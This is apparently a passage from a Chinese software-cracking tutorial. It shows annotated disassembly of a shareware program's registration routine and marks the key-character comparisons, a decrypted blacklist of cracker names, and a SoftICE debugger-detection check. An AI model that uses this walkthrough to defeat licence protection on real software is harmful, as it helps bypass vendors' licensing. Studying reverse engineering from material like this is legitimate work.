:0041EEF3 8BF1 mov esi, ecx
:0041EEF5 03C2 add eax, edx
:0041EEF7 F7D6 not esi
:0041EEF9 0BF0 or esi, eax
:0041EEFB 33F2 xor esi, edx
:0041EEFD 03F5 add esi, ebp
:0041EEFF 8B6C2434 mov ebp, dword ptr [esp+34]
:0041EF03 8DBC37144301A3 lea edi, dword ptr [edi+esi-5CFEBCEC]
:0041EF0A 8BF7 mov esi, edi
:0041EF0C C1EE11 shr esi, 11
:0041EF0F C1E70F shl edi, 0F
:0041EF12 0BF7 or esi, edi
:0041EF14 8BFA mov edi, edx
:0041EF16 03F0 add esi, eax
:0041EF18 F7D7 not edi
:0041EF1A 0BFE or edi, esi
:0041EF1C 33F8 xor edi, eax
:0041EF1E 03FD add edi, ebp
:0041EF20 8B6C2438 mov ebp, dword ptr [esp+38]
:0041EF24 8DBC39A111084E lea edi, dword ptr [ecx+edi+4E0811A1]
:0041EF2B 8BCF mov ecx, edi
:0041EF2D C1E115 shl ecx, 15
:0041EF30 C1EF0B shr edi, 0B
:0041EF33 0BCF or ecx, edi
:0041EF35 8BF8 mov edi, eax
:0041EF37 03CE add ecx, esi
:0041EF39 F7D7 not edi
:0041EF3B 0BF9 or edi, ecx
:0041EF3D 33FE xor edi, esi
:0041EF3F 03FD add edi, ebp
:0041EF41 8B6C243C mov ebp, dword ptr [esp+3C]
:0041EF45 8DBC3A827E53F7 lea edi, dword ptr [edx+edi-08AC817E]
:0041EF4C 8BD7 mov edx, edi
:0041EF4E C1EA1A shr edx, 1A
:0041EF51 C1E706 shl edi, 06
:0041EF54 0BD7 or edx, edi
:0041EF56 8BFE mov edi, esi
:0041EF58 03D1 add edx, ecx
:0041EF5A F7D7 not edi
:0041EF5C 0BFA or edi, edx
:0041EF5E 33F9 xor edi, ecx
:0041EF60 03FD add edi, ebp
:0041EF62 8B6C2440 mov ebp, dword ptr [esp+40]
:0041EF66 8DBC3835F23ABD lea edi, dword ptr [eax+edi-42C50DCB]
:0041EF6D 8BC7 mov eax, edi
:0041EF6F C1E816 shr eax, 16
:0041EF72 C1E70A shl edi, 0A
:0041EF75 0BC7 or eax, edi
:0041EF77 8BF9 mov edi, ecx
:0041EF79 03C2 add eax, edx
:0041EF7B F7D7 not edi
:0041EF7D 0BF8 or edi, eax
:0041EF7F 33FA xor edi, edx
:0041EF81 03FD add edi, ebp
:0041EF83 8B6C2444 mov ebp, dword ptr [esp+44]
:0041EF87 8DB43EBBD2D72A lea esi, dword ptr [esi+edi+2AD7D2BB]
:0041EF8E 8BFE mov edi, esi
:0041EF90 C1EF11 shr edi, 11
:0041EF93 C1E60F shl esi, 0F
:0041EF96 0BFE or edi, esi
:0041EF98 8BF2 mov esi, edx
:0041EF9A 03F8 add edi, eax
:0041EF9C F7D6 not esi
:0041EF9E 0BF7 or esi, edi
:0041EFA0 33F0 xor esi, eax
:0041EFA2 03F5 add esi, ebp
:0041EFA4 8D8C3191D386EB lea ecx, dword ptr [ecx+esi-14792C6F]
:0041EFAB 8B33 mov esi, dword ptr [ebx]
:0041EFAD 03F2 add esi, edx
:0041EFAF 8BD1 mov edx, ecx
:0041EFB1 C1E215 shl edx, 15
:0041EFB4 C1E90B shr ecx, 0B
:0041EFB7 0BD1 or edx, ecx
:0041EFB9 8B4B08 mov ecx, dword ptr [ebx+08]
:0041EFBC 8933 mov dword ptr [ebx], esi
:0041EFBE 8B7304 mov esi, dword ptr [ebx+04]
:0041EFC1 03CF add ecx, edi
:0041EFC3 03D6 add edx, esi
:0041EFC5 894B08 mov dword ptr [ebx+08], ecx
:0041EFC8 8B4B0C mov ecx, dword ptr [ebx+0C]
:0041EFCB 03D7 add edx, edi
:0041EFCD 03C8 add ecx, eax
:0041EFCF 5F pop edi
:0041EFD0 5E pop esi
:0041EFD1 895304 mov dword ptr [ebx+04], edx
:0041EFD4 894B0C mov dword ptr [ebx+0C], ecx
:0041EFD7 5D pop ebp
:0041EFD8 5B pop ebx
:0041EFD9 83C444 add esp, 00000044
:0041EFDC C20800 ret 0008

//**************************************************************************************************

第六次调用call eax会来到如下地方：
:0041BD30 81EC04040000 sub esp, 00000404
:0041BD36 53 push ebx
:0041BD37 8BD9 mov ebx, ecx
:0041BD39 56 push esi
:0041BD3A 57 push edi
:0041BD3B C783B405000060B54100 mov dword ptr [ebx+000005B4], 0041B560 <--送下一个检查子程序的地址
:0041BD45 8DB348050000 lea esi, dword ptr [ebx+00000548]

* Possible Reference to String Resource ID=00003: "
*"
|
:0041BD4B BF03000000 mov edi, 00000003 <--设置循环次数为3

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0041BD9F(C)
|
:0041BD50 8B8344050000 mov eax, dword ptr [ebx+00000544]
:0041BD56 6A00 push 00000000
:0041BD58 8A08 mov cl, byte ptr [eax]
:0041BD5A 40 inc eax
:0041BD5B 51 push ecx
:0041BD5C 8BCE mov ecx, esi
:0041BD5E 898344050000 mov dword ptr [ebx+00000544], eax
:0041BD64 E827280000 call 0041E590 <--这个call比对第3、5、7个字符
:0041BD69 85C0 test eax, eax
:0041BD6B 751D jne 0041BD8A <--不应该跳转
:0041BD6D 8B8344050000 mov eax, dword ptr [ebx+00000544]
:0041BD73 6A00 push 00000000
:0041BD75 8A08 mov cl, byte ptr [eax]
:0041BD77 40 inc eax
:0041BD78 51 push ecx
:0041BD79 8BCE mov ecx, esi
:0041BD7B 898344050000 mov dword ptr [ebx+00000544], eax
:0041BD81 E80A280000 call 0041E590 <--这个call比对第4、6、8个字符
:0041BD86 85C0 test eax, eax
:0041BD88 7414 je 0041BD9E <--应该跳转

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0041BD6B(C)
|
:0041BD8A C783B405000020A94100 mov dword ptr [ebx+000005B4], 0041A920 <--送注册失败处理子程序的地址

* Possible Reference to String Resource ID=00001: "萣
*"
|
:0041BD94 C783B805000001000000 mov dword ptr [ebx+000005B8], 00000001 <--把注册失败值送全局变量reg

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0041BD88(C)
|
:0041BD9E 4F dec edi
:0041BD9F 75AF jne 0041BD50
:0041BDA1 55 push ebp
:0041BDA2 8DAB40010000 lea ebp, dword ptr [ebx+00000140]
:0041BDA8 8BFD mov edi, ebp
:0041BDAA 83C9FF or ecx, FFFFFFFF
:0041BDAD 33C0 xor eax, eax
:0041BDAF 8D542414 lea edx, dword ptr [esp+14]
:0041BDB3 F2 repnz
:0041BDB4 AE scasb
:0041BDB5 F7D1 not ecx
:0041BDB7 2BF9 sub edi, ecx
:0041BDB9 8BC1 mov eax, ecx
:0041BDBB 8BF7 mov esi, edi
:0041BDBD 8BFA mov edi, edx
:0041BDBF C1E902 shr ecx, 02
:0041BDC2 F3 repz
:0041BDC3 A5 movsd
:0041BDC4 8BC8 mov ecx, eax
:0041BDC6 83E103 and ecx, 00000003
:0041BDC9 F3 repz
:0041BDCA A4 movsb
:0041BDCB 8D4C2414 lea ecx, dword ptr [esp+14]
:0041BDCF 51 push ecx
:0041BDD0 E81C430100 call 004300F1

* Possible StringData Ref from Data Obj ->"下*" <--该字符串解密后为"PC'"
|
:0041BDD5 BF10474500 mov edi, 00454710
:0041BDDA 83C9FF or ecx, FFFFFFFF
:0041BDDD 33C0 xor eax, eax
:0041BDDF 83C404 add esp, 00000004
:0041BDE2 F2 repnz
:0041BDE3 AE scasb
:0041BDE4 F7D1 not ecx
:0041BDE6 2BF9 sub edi, ecx
:0041BDE8 8D93D4060000 lea edx, dword ptr [ebx+000006D4]
:0041BDEE 8BC1 mov eax, ecx
:0041BDF0 8BF7 mov esi, edi
:0041BDF2 8BFA mov edi, edx
:0041BDF4 8BD0 mov edx, eax
:0041BDF6 8BC7 mov eax, edi
:0041BDF8 C1E902 shr ecx, 02
:0041BDFB F3 repz
:0041BDFC A5 movsd
:0041BDFD 8BCA mov ecx, edx
:0041BDFF 83E103 and ecx, 00000003
:0041BE02 F3 repz
:0041BE03 A4 movsb
:0041BE04 8A08 mov cl, byte ptr [eax]
:0041BE06 84C9 test cl, cl
:0041BE08 740D je 0041BE17

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0041BE15(C)
|
:0041BE0A 80E97F sub cl, 7F <--加密字符串的解密算法
:0041BE0D 8808 mov byte ptr [eax], cl
:0041BE0F 8A4801 mov cl, byte ptr [eax+01]
:0041BE12 40 inc eax
:0041BE13 84C9 test cl, cl
:0041BE15 75F3 jne 0041BE0A

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0041BE08(C)
|
:0041BE17 8D83D4060000 lea eax, dword ptr [ebx+000006D4]
:0041BE1D 50 push eax
:0041BE1E 8D442418 lea eax, dword ptr [esp+18]
:0041BE22 50 push eax
:0041BE23 E8A8590000 call 004217D0 <--检查注册文件中是否有黑名单中的"PC'"
:0041BE28 83C408 add esp, 00000008
:0041BE2B 85C0 test eax, eax
:0041BE2D 7414 je 0041BE43 <--应该跳转
:0041BE2F C783B405000020A94100 mov dword ptr [ebx+000005B4], 0041A920 <--送注册失败处理子程序的地址

* Possible Reference to String Resource ID=00001: "萣
*"
|
:0041BE39 C783B805000001000000 mov dword ptr [ebx+000005B8], 00000001 <--把注册失败值送全局变量reg

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0041BE2D(C)
|
:0041BE43 8BFD mov edi, ebp
:0041BE45 83C9FF or ecx, FFFFFFFF
:0041BE48 33C0 xor eax, eax
:0041BE4A 8D542414 lea edx, dword ptr [esp+14]
:0041BE4E F2 repnz
:0041BE4F AE scasb
:0041BE50 F7D1 not ecx
:0041BE52 2BF9 sub edi, ecx
:0041BE54 8BC1 mov eax, ecx
:0041BE56 8BF7 mov esi, edi
:0041BE58 8BFA mov edi, edx
:0041BE5A C1E902 shr ecx, 02
:0041BE5D F3 repz
:0041BE5E A5 movsd
:0041BE5F 8BC8 mov ecx, eax
:0041BE61 83E103 and ecx, 00000003
:0041BE64 F3 repz
:0041BE65 A4 movsb
:0041BE66 8D4C2414 lea ecx, dword ptr [esp+14]
:0041BE6A 51 push ecx
:0041BE6B E881420100 call 004300F1

* Possible StringData Ref from Data Obj ->"子难*" <--该字符串解密后为"XTERM"
|
:0041BE70 BF08474500 mov edi, 00454708
:0041BE75 83C9FF or ecx, FFFFFFFF
:0041BE78 33C0 xor eax, eax
:0041BE7A 83C404 add esp, 00000004
:0041BE7D F2 repnz
:0041BE7E AE scasb
:0041BE7F F7D1 not ecx
:0041BE81 2BF9 sub edi, ecx
:0041BE83 5D pop ebp
:0041BE84 8BF7 mov esi, edi
:0041BE86 8BD1 mov edx, ecx
:0041BE88 8DBBD4060000 lea edi, dword ptr [ebx+000006D4]
:0041BE8E 8BC7 mov eax, edi
:0041BE90 C1E902 shr ecx, 02
:0041BE93 F3 repz
:0041BE94 A5 movsd
:0041BE95 8BCA mov ecx, edx
:0041BE97 83E103 and ecx, 00000003
:0041BE9A F3 repz
:0041BE9B A4 movsb
:0041BE9C 8A08 mov cl, byte ptr [eax]
:0041BE9E 84C9 test cl, cl
:0041BEA0 740D je 0041BEAF

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0041BEAD(C)
|
:0041BEA2 80E97F sub cl, 7F <--加密字符串的解密算法
:0041BEA5 8808 mov byte ptr [eax], cl
:0041BEA7 8A4801 mov cl, byte ptr [eax+01]
:0041BEAA 40 inc eax
:0041BEAB 84C9 test cl, cl
:0041BEAD 75F3 jne 0041BEA2

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0041BEA0(C)
|
:0041BEAF 8D83D4060000 lea eax, dword ptr [ebx+000006D4]
:0041BEB5 50 push eax
:0041BEB6 8D442414 lea eax, dword ptr [esp+14]
:0041BEBA 50 push eax
:0041BEBB E810590000 call 004217D0 <--检查注册文件中是否有黑名单中的"XTERM"
:0041BEC0 83C408 add esp, 00000008
:0041BEC3 85C0 test eax, eax
:0041BEC5 7414 je 0041BEDB <--应该跳转
:0041BEC7 C783B405000020A94100 mov dword ptr [ebx+000005B4], 0041A920 <--送注册失败处理子程序的地址

* Possible Reference to String Resource ID=00001: "萣
*"
|
:0041BED1 C783B805000001000000 mov dword ptr [ebx+000005B8], 00000001 <--把注册失败值送全局变量reg

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0041BEC5(C)
|
:0041BEDB 5F pop edi
:0041BEDC 5E pop esi
:0041BEDD 5B pop ebx
:0041BEDE 81C404040000 add esp, 00000404
:0041BEE4 C3 ret

//**************************************************************************************************

第七次调用call eax会来到如下地方：
:0041B560 81EC04040000 sub esp, 00000404
:0041B566 53 push ebx
:0041B567 8BD9 mov ebx, ecx
:0041B569 56 push esi
:0041B56A C783B405000040B74100 mov dword ptr [ebx+000005B4], 0041B740 <--送下一个检查子程序的地址
:0041B574 8B8344050000 mov eax, dword ptr [ebx+00000544]
:0041B57A 8DB348050000 lea esi, dword ptr [ebx+00000548]
:0041B580 6A00 push 00000000
:0041B582 8A08 mov cl, byte ptr [eax]
:0041B584 40 inc eax
:0041B585 51 push ecx
:0041B586 8BCE mov ecx, esi
:0041B588 898344050000 mov dword ptr [ebx+00000544], eax
:0041B58E E8FD2F0000 call 0041E590 <--这个call比对第9个字符
:0041B593 85C0 test eax, eax
:0041B595 751D jne 0041B5B4 <--不应该跳转
:0041B597 8B8344050000 mov eax, dword ptr [ebx+00000544]
:0041B59D 6A00 push 00000000
:0041B59F 8A08 mov cl, byte ptr [eax]
:0041B5A1 40 inc eax
:0041B5A2 51 push ecx
:0041B5A3 8BCE mov ecx, esi
:0041B5A5 898344050000 mov dword ptr [ebx+00000544], eax
:0041B5AB E8E02F0000 call 0041E590 <--这个call比对第10个字符
:0041B5B0 85C0 test eax, eax
:0041B5B2 7414 je 0041B5C8 <--应该跳转

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0041B595(C)
|
:0041B5B4 C783B405000020A94100 mov dword ptr [ebx+000005B4], 0041A920 <--送注册失败处理子程序的地址

* Possible Reference to String Resource ID=00001: "萣
*"
|
:0041B5BE C783B805000001000000 mov dword ptr [ebx+000005B8], 00000001 <--把注册失败值送全局变量reg

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0041B5B2(C)
|
:0041B5C8 55 push ebp
:0041B5C9 8DAB40010000 lea ebp, dword ptr [ebx+00000140]
:0041B5CF 57 push edi
:0041B5D0 8BFD mov edi, ebp
:0041B5D2 83C9FF or ecx, FFFFFFFF
:0041B5D5 33C0 xor eax, eax
:0041B5D7 F2 repnz
:0041B5D8 AE scasb
:0041B5D9 F7D1 not ecx
:0041B5DB 2BF9 sub edi, ecx
:0041B5DD 8D542414 lea edx, dword ptr [esp+14]
:0041B5E1 8BC1 mov eax, ecx
:0041B5E3 8BF7 mov esi, edi
:0041B5E5 8BFA mov edi, edx
:0041B5E7 C1E902 shr ecx, 02
:0041B5EA F3 repz
:0041B5EB A5 movsd
:0041B5EC 8BC8 mov ecx, eax
:0041B5EE 83E103 and ecx, 00000003
:0041B5F1 F3 repz
:0041B5F2 A4 movsb
:0041B5F3 8D4C2414 lea ecx, dword ptr [esp+14]
:0041B5F7 51 push ecx
:0041B5F8 E8F44A0100 call 004300F1

* Possible StringData Ref from Data Obj ->"晌虑耐熐囊夷" <--该字符串解密后为"JOCHEN HESSE"
|
:0041B5FD BF7C464500 mov edi, 0045467C
:0041B602 83C9FF or ecx, FFFFFFFF
:0041B605 33C0 xor eax, eax
:0041B607 83C404 add esp, 00000004
:0041B60A F2 repnz
:0041B60B AE scasb
:0041B60C F7D1 not ecx
:0041B60E 2BF9 sub edi, ecx
:0041B610 8D93D4060000 lea edx, dword ptr [ebx+000006D4]
:0041B616 8BC1 mov eax, ecx
:0041B618 8BF7 mov esi, edi
:0041B61A 8BFA mov edi, edx
:0041B61C 8BD0 mov edx, eax
:0041B61E 8BC7 mov eax, edi
:0041B620 C1E902 shr ecx, 02
:0041B623 F3 repz
:0041B624 A5 movsd
:0041B625 8BCA mov ecx, edx
:0041B627 83E103 and ecx, 00000003
:0041B62A F3 repz
:0041B62B A4 movsb
:0041B62C 8A08 mov cl, byte ptr [eax]
:0041B62E 84C9 test cl, cl
:0041B630 740D je 0041B63F

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0041B63D(C)
|
:0041B632 80E97F sub cl, 7F <--加密字符串的解密算法
:0041B635 8808 mov byte ptr [eax], cl
:0041B637 8A4801 mov cl, byte ptr [eax+01]
:0041B63A 40 inc eax
:0041B63B 84C9 test cl, cl
:0041B63D 75F3 jne 0041B632

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0041B630(C)
|
:0041B63F 8D83D4060000 lea eax, dword ptr [ebx+000006D4]
:0041B645 50 push eax
:0041B646 8D442418 lea eax, dword ptr [esp+18]
:0041B64A 50 push eax
:0041B64B E880610000 call 004217D0 <--检查注册文件中是否有黑名单中的"JOCHEN HESSE"
:0041B650 83C408 add esp, 00000008
:0041B653 85C0 test eax, eax
:0041B655 7414 je 0041B66B <--应该跳转
:0041B657 C783B405000020A94100 mov dword ptr [ebx+000005B4], 0041A920 <--送注册失败处理子程序的地址

* Possible Reference to String Resource ID=00001: "萣
*"
|
:0041B661 C783B805000001000000 mov dword ptr [ebx+000005B8], 00000001 <--把注册失败值送全局变量reg

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0041B655(C)
|
:0041B66B 8BFD mov edi, ebp
:0041B66D 83C9FF or ecx, FFFFFFFF
:0041B670 33C0 xor eax, eax
:0041B672 8D542414 lea edx, dword ptr [esp+14]
:0041B676 F2 repnz
:0041B677 AE scasb
:0041B678 F7D1 not ecx
:0041B67A 2BF9 sub edi, ecx
:0041B67C 8BC1 mov eax, ecx
:0041B67E 8BF7 mov esi, edi
:0041B680 8BFA mov edi, edx
:0041B682 C1E902 shr ecx, 02
:0041B685 F3 repz
:0041B686 A5 movsd
:0041B687 8BC8 mov ecx, eax
:0041B689 83E103 and ecx, 00000003
:0041B68C F3 repz
:0041B68D A4 movsb
:0041B68E 8D4C2414 lea ecx, dword ptr [esp+14]
:0041B692 51 push ecx
:0041B693 E8594A0100 call 004300F1

* Possible StringData Ref from Data Obj ->"卵缆*" <--该字符串解密后为"CRACK"
|
:0041B698 BF74464500 mov edi, 00454674
:0041B69D 83C9FF or ecx, FFFFFFFF
:0041B6A0 33C0 xor eax, eax
:0041B6A2 83C404 add esp, 00000004
:0041B6A5 F2 repnz
:0041B6A6 AE scasb
:0041B6A7 F7D1 not ecx
:0041B6A9 2BF9 sub edi, ecx
:0041B6AB 8BF7 mov esi, edi
:0041B6AD 8BD1 mov edx, ecx
:0041B6AF 8DBBD4060000 lea edi, dword ptr [ebx+000006D4]
:0041B6B5 8BC7 mov eax, edi
:0041B6B7 C1E902 shr ecx, 02
:0041B6BA F3 repz
:0041B6BB A5 movsd
:0041B6BC 8BCA mov ecx, edx
:0041B6BE 83E103 and ecx, 00000003
:0041B6C1 F3 repz
:0041B6C2 A4 movsb
:0041B6C3 8A08 mov cl, byte ptr [eax]
:0041B6C5 5F pop edi
:0041B6C6 84C9 test cl, cl
:0041B6C8 5D pop ebp
:0041B6C9 740D je 0041B6D8

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0041B6D6(C)
|
:0041B6CB 80E97F sub cl, 7F <--加密字符串的解密算法
:0041B6CE 8808 mov byte ptr [eax], cl
:0041B6D0 8A4801 mov cl, byte ptr [eax+01]
:0041B6D3 40 inc eax
:0041B6D4 84C9 test cl, cl
:0041B6D6 75F3 jne 0041B6CB

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0041B6C9(C)
|
:0041B6D8 8D83D4060000 lea eax, dword ptr [ebx+000006D4]
:0041B6DE 50 push eax
:0041B6DF 8D442410 lea eax, dword ptr [esp+10]
:0041B6E3 50 push eax
:0041B6E4 E8E7600000 call 004217D0 <--检查注册文件中是否有黑名单中的"CRACK"
:0041B6E9 83C408 add esp, 00000008
:0041B6EC 85C0 test eax, eax
:0041B6EE 7414 je 0041B704 <--应该跳转
:0041B6F0 C783B405000020A94100 mov dword ptr [ebx+000005B4], 0041A920 <--送注册失败处理子程序的地址

* Possible Reference to String Resource ID=00001: "萣
*"
|
:0041B6FA C783B805000001000000 mov dword ptr [ebx+000005B8], 00000001 <--把注册失败值送全局变量reg

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0041B6EE(C)
|
:0041B704 5E pop esi
:0041B705 5B pop ebx
:0041B706 81C404040000 add esp, 00000404
:0041B70C C3 ret

//**************************************************************************************************

第八次调用call eax会来到如下地方：
:0041B740 81EC04040000 sub esp, 00000404
:0041B746 53 push ebx
:0041B747 8BD9 mov ebx, ecx
:0041B749 56 push esi
:0041B74A 57 push edi
:0041B74B C783B405000060B34100 mov dword ptr [ebx+000005B4], 0041B360 <--送下一个检查子程序的地址
:0041B755 8DB348050000 lea esi, dword ptr [ebx+00000548]

* Possible Reference to String Resource ID=00002: "分
忈o"
|
:0041B75B BF02000000 mov edi, 00000002 <--设置循环次数为2

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0041B7AF(C)
|
:0041B760 8B8344050000 mov eax, dword ptr [ebx+00000544]
:0041B766 6A00 push 00000000
:0041B768 8A08 mov cl, byte ptr [eax]
:0041B76A 40 inc eax
:0041B76B 51 push ecx
:0041B76C 8BCE mov ecx, esi
:0041B76E 898344050000 mov dword ptr [ebx+00000544], eax
:0041B774 E8172E0000 call 0041E590 <--这个call比对第11、13个字符
:0041B779 85C0 test eax, eax
:0041B77B 751D jne 0041B79A <--不应该跳转
:0041B77D 8B8344050000 mov eax, dword ptr [ebx+00000544]
:0041B783 6A00 push 00000000
:0041B785 8A08 mov cl, byte ptr [eax]
:0041B787 40 inc eax
:0041B788 51 push ecx
:0041B789 8BCE mov ecx, esi
:0041B78B 898344050000 mov dword ptr [ebx+00000544], eax
:0041B791 E8FA2D0000 call 0041E590 <--这个call比对第12、14个字符
:0041B796 85C0 test eax, eax
:0041B798 7414 je 0041B7AE <--应该跳转

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0041B77B(C)
|
:0041B79A C783B405000020A94100 mov dword ptr [ebx+000005B4], 0041A920 <--送注册失败处理子程序的地址

* Possible Reference to String Resource ID=00001: "萣
*"
|
:0041B7A4 C783B805000001000000 mov dword ptr [ebx+000005B8], 00000001 <--把注册失败值送全局变量reg

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0041B798(C)
|
:0041B7AE 4F dec edi
:0041B7AF 75AF jne 0041B760
:0041B7B1 55 push ebp
:0041B7B2 8DAB40010000 lea ebp, dword ptr [ebx+00000140]
:0041B7B8 8BFD mov edi, ebp
:0041B7BA 83C9FF or ecx, FFFFFFFF
:0041B7BD 33C0 xor eax, eax
:0041B7BF 8D542414 lea edx, dword ptr [esp+14]
:0041B7C3 F2 repnz
:0041B7C4 AE scasb
:0041B7C5 F7D1 not ecx
:0041B7C7 2BF9 sub edi, ecx
:0041B7C9 8BC1 mov eax, ecx
:0041B7CB 8BF7 mov esi, edi
:0041B7CD 8BFA mov edi, edx
:0041B7CF C1E902 shr ecx, 02
:0041B7D2 F3 repz
:0041B7D3 A5 movsd
:0041B7D4 8BC8 mov ecx, eax
:0041B7D6 83E103 and ecx, 00000003
:0041B7D9 F3 repz
:0041B7DA A4 movsb
:0041B7DB 8D4C2414 lea ecx, dword ptr [esp+14]
:0041B7DF 51 push ecx
:0041B7E0 E80C490100 call 004300F1

* Possible StringData Ref from Data Obj ->"嗜怂难" <--该字符串解密后为"KILLER"
|
:0041B7E5 BFA0464500 mov edi, 004546A0
:0041B7EA 83C9FF or ecx, FFFFFFFF
:0041B7ED 33C0 xor eax, eax
:0041B7EF 83C404 add esp, 00000004
:0041B7F2 F2 repnz
:0041B7F3 AE scasb
:0041B7F4 F7D1 not ecx
:0041B7F6 2BF9 sub edi, ecx
:0041B7F8 8D93D4060000 lea edx, dword ptr [ebx+000006D4]
:0041B7FE 8BC1 mov eax, ecx
:0041B800 8BF7 mov esi, edi
:0041B802 8BFA mov edi, edx
:0041B804 8BD0 mov edx, eax
:0041B806 8BC7 mov eax, edi
:0041B808 C1E902 shr ecx, 02
:0041B80B F3 repz
:0041B80C A5 movsd
:0041B80D 8BCA mov ecx, edx
:0041B80F 83E103 and ecx, 00000003
:0041B812 F3 repz
:0041B813 A4 movsb
:0041B814 8A08 mov cl, byte ptr [eax]
:0041B816 84C9 test cl, cl
:0041B818 740D je 0041B827

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0041B825(C)
|
:0041B81A 80E97F sub cl, 7F <--加密字符串的解密算法
:0041B81D 8808 mov byte ptr [eax], cl
:0041B81F 8A4801 mov cl, byte ptr [eax+01]
:0041B822 40 inc eax
:0041B823 84C9 test cl, cl
:0041B825 75F3 jne 0041B81A

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0041B818(C)
|
:0041B827 8D83D4060000 lea eax, dword ptr [ebx+000006D4]
:0041B82D 50 push eax
:0041B82E 8D442418 lea eax, dword ptr [esp+18]
:0041B832 50 push eax
:0041B833 E8985F0000 call 004217D0 <--检查注册文件中是否有黑名单中的"KILLER"
:0041B838 83C408 add esp, 00000008
:0041B83B 85C0 test eax, eax
:0041B83D 7414 je 0041B853 <--应该跳转
:0041B83F C783B405000020A94100 mov dword ptr [ebx+000005B4], 0041A920 <--送注册失败处理子程序的地址

* Possible Reference to String Resource ID=00001: "萣
*"
|
:0041B849 C783B805000001000000 mov dword ptr [ebx+000005B8], 00000001 <--把注册失败值送全局变量reg

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0041B83D(C)
|
:0041B853 6A00 push 00000000
:0041B855 6880000000 push 00000080

* Possible Reference to String Resource ID=00003: "
*"
|
:0041B85A 6A03 push 00000003
:0041B85C 6A00 push 00000000

* Possible Reference to String Resource ID=00003: "
*"
|
:0041B85E 6A03 push 00000003
:0041B860 68000000C0 push C0000000

* Possible StringData Ref from Data Obj ->"\\.\SICE"
|
:0041B865 6894464500 push 00454694

* Reference To: KERNEL32.CreateFileA, Ord:0034h
|
:0041B86A FF1538724400 Call dword ptr [00447238] <--通过调用API函数CreateFileA检查是否正在运行SICE，还好我们还有国人的骄傲——TRW2000
:0041B870 83F8FF cmp eax, FFFFFFFF
:0041B873 741B je 0041B890 <--应该跳转
:0041B875 50 push eax

* Reference To: KERNEL32.CloseHandle, Ord:001Bh
|
:0041B876 FF154C724400 Call dword ptr [0044724C]
:0041B87C C783B405000020A94100 mov dword ptr [ebx+000005B4], 0041A920 <--送注册失败处理子程序的地址

* Possible Reference to String Resource ID=00001: "萣
*"
|
:0041B886 C783B805000001000000 mov dword ptr [ebx+000005B8], 00000001 <--把注册失败值送全局变量reg

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0041B873(C)
|
:0041B890 8BFD mov edi, ebp
:0041B892 83C9FF or ecx, FFFFFFFF
:0041B895 33C0 xor eax, eax
:0041B897 8D542414 lea edx, dword ptr [esp+14]
:0041B89B F2 repnz
:0041B89C AE scasb
:0041B89D F7D1 not ecx
:0041B89F 2BF9 sub edi, ecx
:0041B8A1 8BC1 mov eax, ecx
:0041B8A3 8BF7 mov esi, edi
:0041B8A5 8BFA mov edi, edx
:0041B8A7 C1E902 shr ecx, 02
:0041B8AA F3 repz
:0041B8AB A5 movsd
:0041B8AC 8BC8 mov ecx, eax
:0041B8AE 83E103 and ecx, 00000003
:0041B8B1 F3 repz
:0041B8B2 A4 movsb
:0041B8B3 8D4C2414 lea ecx, dword ptr [esp+14]
:0041B8B7 51 push ecx
:0041B8B8 E834480100 call 004300F1

* Possible StringData Ref from Data Obj ->"虑琅*" <--该字符串解密后为"CHAFE"
|
:0041B8BD BF8C464500 mov edi, 0045468C
:0041B8C2 83C9FF or ecx, FFFFFFFF
:0041B8C5 33C0 xor eax, eax
:0041B8C7 83C404 add esp, 00000004
:0041B8CA F2 repnz
:0041B8CB AE scasb
:0041B8CC F7D1 not ecx
:0041B8CE 2BF9 sub edi, ecx
:0041B8D0 5D pop ebp
:0041B8D1 8BF7 mov esi, edi
:0041B8D3 8BD1 mov edx, ecx
:0041B8D5 8DBBD4060000 lea edi, dword ptr [ebx+000006D4]
:0041B8DB 8BC7 mov eax, edi
:0041B8DD C1E902 shr ecx, 02
:0041B8E0 F3 repz
:0041B8E1 A5 movsd
:0041B8E2 8BCA mov ecx, edx
:0041B8E4 83E103 and ecx, 00000003
:0041B8E7 F3 repz
:0041B8E8 A4 movsb
:0041B8E9 8A08 mov cl, byte ptr [eax]
:0041B8EB 84C9 test cl, cl
:0041B8ED 740D je 0041B8FC

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0041B8FA(C)
|
:0041B8EF 80E97F sub cl, 7F <--加密字符串的解密算法
:0041B8F2 8808 mov byte ptr [eax], cl
:0041B8F4 8A4801 mov cl, byte ptr [eax+01]
:0041B8F7 40 inc eax
:0041B8F8 84C9 test cl, cl
:0041B8FA 75F3 jne 0041B8EF

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0041B8ED(C)
|
:0041B8FC 8D83D4060000 lea eax, dword ptr [ebx+000006D4]
:0041B902 50 push eax
:0041B903 8D442414 lea eax, dword ptr [esp+14]
:0041B907 50 push eax
:0041B908 E8C35E0000 call 004217D0 <--检查注册文件中是否有黑名单中的"CHAFE"
:0041B90D 83C408 add esp, 00000008
:0041B910 85C0 test eax, eax
:0041B912 7414 je 0041B928 <--应该跳转
:0041B914 C783B405000020A94100 mov dword ptr [ebx+000005B4], 0041A920 <--送注册失败处理子程序的地址

* Possible Reference to String Resource ID=00001: "萣
*"
|
:0041B91E C783B805000001000000 mov dword ptr [ebx+000005B8], 00000001 <--把注册失败值送全局变量reg

